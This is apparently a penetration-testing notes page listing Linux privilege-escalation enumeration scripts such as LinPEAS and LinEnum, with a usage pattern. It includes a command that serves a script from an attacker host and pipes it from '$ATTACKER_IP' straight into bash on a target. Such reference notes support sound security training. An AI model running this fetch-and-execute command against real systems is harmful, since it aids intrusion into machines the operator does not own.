Linux Reconnaissance Scripts

Automated enumeration scripts accelerate post-exploitation reconnaissance on Linux targets. They aggregate information about users, SUID binaries, kernel version, writable paths, and potential privilege-escalation vectors.

ScriptFocusNotes
LinPEASPrivilege-escalation pathsColor-coded output; part of PEASS-ng; actively maintained
LinEnumGeneral enumerationLightweight, easy to read; good for OSCP-style exams
Linux Exploit Suggester (LES)Kernel CVE matchingCompares kernel version against known exploits
Linux Smart EnumerationPrioritized checksShows the most interesting findings first
Linux Priv CheckerPermission auditSimple, fast, no dependencies

Usage pattern

# Download on the attacker host, serve via HTTP
python3 -m http.server 80
 
# On the target
curl http://$ATTACKER_IP/linpeas.sh | bash

Always review output manually — automated tools generate noise and miss context-specific misconfigurations.

Sources

Related: linux-reconnaissance-commands, shell-stabilization, suid-shell-executable